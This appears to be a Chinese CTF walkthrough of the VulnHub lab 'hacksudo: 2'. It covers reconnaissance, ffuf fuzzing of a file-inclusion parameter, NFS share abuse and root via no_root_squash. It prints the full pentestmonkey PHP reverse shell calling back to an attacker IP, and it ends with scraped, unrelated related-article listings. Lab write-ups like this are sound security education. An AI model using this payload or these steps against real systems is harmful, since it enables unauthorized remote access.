准备:

攻击机:虚拟机kali、本机win10。

靶机:hacksudo: 2 (HackDudo),下载地址:https://download.vulnhub.com/hacksudo/hackdudo2.rar,下载后直接vbox打开即可。

知识点:ffuf爆破、nfs服务提权、shell反弹。

一:信息收集

1.nmap扫描

使用nmap扫描下靶机地址,命令:nmap -sn 192.168.1.0/24,发现靶机地址:192.168.1.111。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.1.111,显示开放了1337端口、80端口、2049端口等,开启了ssh服务、http服务、nfs服务。

2.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.1.111,发现/web、/audio、/file.php等目录和文件。

3.ffuf爆破

对扫描出来的目录进行访问收集信息,在访问:http://192.168.1.111/file.php时,页面提示file access(文件访问),猜测这里存在文件包含漏洞。因此使用ffuf进行爆破,命令:ffuf -w /usr/share/SecLists/Discovery/Web-Content/common.txt -u 'http://192.168.1.111/file.php?FUZZ=../../../../../etc/passwd' -fs 238,成功获得参数file。

利用获得的参数去读取下/etc/passwd文件,查看下当前系统具有哪些账户,发现账户信息:hacksudo。

二:NFS服务

1.nfs服务挂载

NFS,全称Network File System,即网络文件系统。最大的功能是通过网络,让不同的机器、不同的操作系统可以共享彼此的文件。可以理解为本地多了一个虚拟磁盘。那我们就查询下NFS服务器的全部共享目录,命令:showmount -e 192.168.1.111,发现共享目录:/mnt/nfs *,*表示具有所有权限(读写,ro表示只读)。

nfs服务的缺点之一是客户端没有用户认证机制,那我们将该目录挂载到本地kali中,命令:mkdir /mnt/nfs、mount -t nfs 192.168.1.111:/mnt/nfs /mnt/nfs,然后查看该目录信息发现存在一个flag值,读取该文件成功获得flag值。

2.shell反弹

将我们的shell反弹脚本写入到nfs,然后利用http://192.168.1.111/file.php存在的文件包含漏洞访问我们写入的shell反弹文件:http://192.168.1.111/file.php?file=/mnt/nfs/shell.php,成功获得shell权限。

shell反弹脚本

  1. <?php
  2. // php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
  3. // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
  4. set_time_limit (0);
  5. $VERSION = "1.0";
  6. $ip = '192.168.1.83';
  7. $port = 6688;
  8. $chunk_size = 1400;
  9. $write_a = null;
  10. $error_a = null;
  11. $shell = 'uname -a; w; id; sh -i';
  12. $daemon = 0;
  13. $debug = 0;
  14. if (function_exists('pcntl_fork')) {
  15. $pid = pcntl_fork();
  16. if ($pid == -1) {
  17. printit("ERROR: Can't fork");
  18. exit(1);
  19. }
  20. if ($pid) {
  21. exit(0); // Parent exits
  22. }
  23. if (posix_setsid() == -1) {
  24. printit("Error: Can't setsid()");
  25. exit(1);
  26. }
  27. $daemon = 1;
  28. } else {
  29. printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
  30. }
  31. chdir("/");
  32. umask(0);
  33. // Open reverse connection
  34. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  35. if (!$sock) {
  36. printit("$errstr ($errno)");
  37. exit(1);
  38. }
  39. $descriptorspec = array(
  40. 0 => array("pipe", "r"), // stdin is a pipe that the child will read from
  41. 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
  42. 2 => array("pipe", "w") // stderr is a pipe that the child will write to
  43. );
  44. $process = proc_open($shell, $descriptorspec, $pipes);
  45. if (!is_resource($process)) {
  46. printit("ERROR: Can't spawn shell");
  47. exit(1);
  48. }
  49. stream_set_blocking($pipes[0], 0);
  50. stream_set_blocking($pipes[1], 0);
  51. stream_set_blocking($pipes[2], 0);
  52. stream_set_blocking($sock, 0);
  53. printit("Successfully opened reverse shell to $ip:$port");
  54. while (1) {
  55. if (feof($sock)) {
  56. printit("ERROR: Shell connection terminated");
  57. break;
  58. }
  59. if (feof($pipes[1])) {
  60. printit("ERROR: Shell process terminated");
  61. break;
  62. }
  63. $read_a = array($sock, $pipes[1], $pipes[2]);
  64. $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  65. if (in_array($sock, $read_a)) {
  66. if ($debug) printit("SOCK READ");
  67. $input = fread($sock, $chunk_size);
  68. if ($debug) printit("SOCK: $input");
  69. fwrite($pipes[0], $input);
  70. }
  71. if (in_array($pipes[1], $read_a)) {
  72. if ($debug) printit("STDOUT READ");
  73. $input = fread($pipes[1], $chunk_size);
  74. if ($debug) printit("STDOUT: $input");
  75. fwrite($sock, $input);
  76. }
  77. if (in_array($pipes[2], $read_a)) {
  78. if ($debug) printit("STDERR READ");
  79. $input = fread($pipes[2], $chunk_size);
  80. if ($debug) printit("STDERR: $input");
  81. fwrite($sock, $input);
  82. }
  83. }
  84. fclose($sock);
  85. fclose($pipes[0]);
  86. fclose($pipes[1]);
  87. fclose($pipes[2]);
  88. proc_close($process);
  89. function printit ($string) {
  90. if (!$daemon) {
  91. print "$string\n";
  92. }
  93. }
  94. ?>

三:提权

找了一圈没找到可以进行提权的点,那就直接上脚本:linpease.sh跑一下,在脚本也没发现好用的漏洞信息,后面想到这台机器开启了nfs服务,就查询了以下nfs提权漏洞,发现当前nfs配置文件中配置:no_root_squash选项时存在提权漏洞,那就查看下nfs配置文件的配置信息,命令:cat /etc/exports。

那我们就利用nfs提权漏洞进行提权,命令:cp /bin/bash . 、chmod +s bash,然后在靶机中通过./bash -p来实现提权至root,我这里是因为kali的bash太高,导致提权失败。

后面就又临时装了一个虚拟机,重新执行上面的命令,成功获得root权限并读取到flag值。

vulnhub靶场之HACKSUDO: 2 (HACKDUDO)的更多相关文章

  1. vulnhub靶场之HACKSUDO: PROXIMACENTAURI

    准备: 攻击机:虚拟机kali.本机win10. 靶机:hacksudo: ProximaCentauri,下载地址:https://download.vulnhub.com/hacksudo/hac ...

  2. vulnhub靶场之HACKSUDO: THOR

    准备: 攻击机:虚拟机kali.本机win10. 靶机:hacksudo: Thor,下载地址:https://download.vulnhub.com/hacksudo/hacksudo---Tho ...

  3. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  4. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  5. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  6. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  7. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  8. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  9. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  10. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

随机推荐

  1. HTTP身份认证

    1.HTTP Basic认证 用户每次发送请求的时候,在请求头中携带能通过认证的身份信息:Authorization: <username>:<password> 1.1 交互 ...

  2. 安卓蓝牙协议栈中的RFCOMM状态机分析

    1.1 数据结构 1.1.1  tRFC_MCB tRFC_MCB(type of rfcomm multiplexor control block的简写)代表了一个多路复用器.代表了RFCOMM规范 ...

  3. Vue 二维码生成插件

    1. 安装 qrcode.vue 仓库地址 // vue2 安装1.x版本.vue3 安装3.x版本 npm install --save qrcode.vue // 或 yarn add qrcod ...

  4. esxi 6.7手动安装阵列卡驱动()2023-01.03

    一.登录vmware后台在兼容性列表里面查找驱动,https://www.vmware.com/resources/compatibility/search.php 二. 下载对应的驱动https:/ ...

  5. 【逆向】Magniber 勒索软件样本分析

    .wiz-editor-body .wiz-code-container { position: relative; padding: 8px 0; margin: 5px 0; text-inden ...

  6. C的基础常识

    C是可移植性语言,因此可以在许多环境中使用,包括UNIX.Linux.MS-DOS.Windows和Macintosh OS. 使用C语言编写的内容的文本,称为源代码文件(source code fi ...

  7. vue 同一个子组件,两次赋值不同,dom不更新

    转自:https://blog.csdn.net/WO_JIAMIFENG/article/details/115250918 <div :key="inputkey"> ...

  8. 面向对象ooDay9

    精华笔记: 多态:多种形态 同一个对象被造型为不同的类型时,有不同的功能-------所有对象都是多态的(明天总结详细讲) 对象的多态:水.我.你...... 同一类型的引用在指向不同的对象时,有不同 ...

  9. 第二次python作业

    #3.1 print("今有物不知其数,三三数之剩二,五五数之剩三,七七数之剩二,问几何?\n") number = int(input("请输入你认为符合条件的数: & ...

  10. vue项目启动报错问题解决. Module build failed: Error: Node Sass does not yet support your current environment

    导入vue项目后,启动报错,异常如下: 1 error in ./src/pages/home.vue 2 Module build failed: Error: Node Sass does not ...